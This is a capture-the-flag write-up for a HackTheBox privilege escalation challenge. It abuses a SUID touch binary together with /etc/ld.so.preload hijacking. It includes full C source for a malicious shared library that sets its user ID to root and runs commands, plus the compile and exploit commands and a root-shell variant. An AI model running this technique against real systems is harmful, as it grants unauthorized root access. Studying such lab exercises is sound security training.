$ cat writeup.md…
$ cat writeup.md…
HackTheBox
The target server on port 30678 runs `socat`, which provides a bash shell as user `ctf` (uid=1000). The flag is located at `/root/flag.txt`, accessible only by root. Privilege escalation is required.
"Push me, and then just touch me, till I can get my, Satisfaction!"
The target server on port 30678 runs socat, which provides a bash shell as user ctf (uid=1000). The flag is located at /root/flag.txt, accessible only by root. Privilege escalation is required.
Upon connecting to the server, we get a shell as user ctf:
nc 154.57.164.73 30678 id # uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
The flag is not directly accessible:
cat /root/flag.txt # cat: /root/flag.txt: Permission denied ls -la /root/ # ls: cannot open directory '/root/': Permission denied
find / -perm -4000 -type f 2>/dev/null
Key finding — /bin/touch has SUID+SGID bits set:
-rwsr-sr-x 1 root root ... /bin/touch
This means touch executes with root privileges, and any file created via touch will be owned by root:root.
The /etc/ld.so.preload mechanism allows loading arbitrary shared libraries before all others when launching any ELF binary. If we can:
/etc/ld.so.preload (via SUID touch — the file will be owned by root)Critical point: touch creates files with permissions determined by umask. By default umask=0022, which gives 0644 (not writable by others). But if we set umask 0000, the file will be created with 0666 permissions — world-writable!
Create evil.c with a constructor function that executes when the library is loaded:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> static void __attribute__((constructor)) init(void) { if (geteuid() == 0) { setgid(0); setuid(0); unlink("/etc/ld.so.preload"); system("cat /root/flag.txt > /tmp/flag_txt 2>&1; chmod 777 /tmp/flag_txt"); } }
Important details:
__attribute__((constructor)) — the function is called automatically when the .so is loadedgeteuid() == 0 — verify we're actually in a SUID contextsetuid(0) / setgid(0) — elevate real UID/GID to rootunlink("/etc/ld.so.preload") — remove preload to avoid infinite recursion (each system() call would also load preload)/tmp/ with world-readable permissionsThe target system is Linux x86_64. If attacking from macOS, cross-compilation via Docker is needed:
# On macOS via Docker: docker run --rm -v $(pwd):/work -w /work gcc:latest \ gcc -shared -fPIC -o evil.so evil.c -nostartfiles # Or on Linux directly: gcc -shared -fPIC -o evil.c -nostartfiles -o evil.so
# 1. Set umask to create world-writable files umask 0000 # 2. Create /etc/ld.so.preload via SUID touch # File is created as root:root with 0666 permissions touch /etc/ld.so.preload # Verify: ls -la /etc/ld.so.preload # -rw-rw-rw- 1 root root 0 ... /etc/ld.so.preload # 3. Transfer evil.so to target machine via base64 echo '<base64-encoded-evil.so>' | base64 -d > /tmp/evil.so chmod +x /tmp/evil.so # 4. Write the library path to ld.so.preload echo '/tmp/evil.so' > /etc/ld.so.preload # 5. Run SUID touch — dynamic linker loads evil.so with root privileges touch /tmp/trigger # 6. Read the flag cat /tmp/flag_txt # HTB{REDACTED}
umask 0000
↓
touch /etc/ld.so.preload ← SUID: creates file as root, 0666
↓
echo '/tmp/evil.so' > /etc/ld.so.preload ← possible because 0666
↓
touch /tmp/trigger ← SUID: linker loads evil.so as root
↓
evil.so constructor:
setuid(0) → system("cat /root/flag.txt > /tmp/flag_txt")
↓
cat /tmp/flag_txt → FLAG
/etc/ld.so.preloadtouch to create the file and trigger the exploitld.so.preload hijacking technique is a classic Linux privesc methodumask affects all files created by the process, including SUID binaries — this is often overlookedsystem("/bin/bash -p")$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar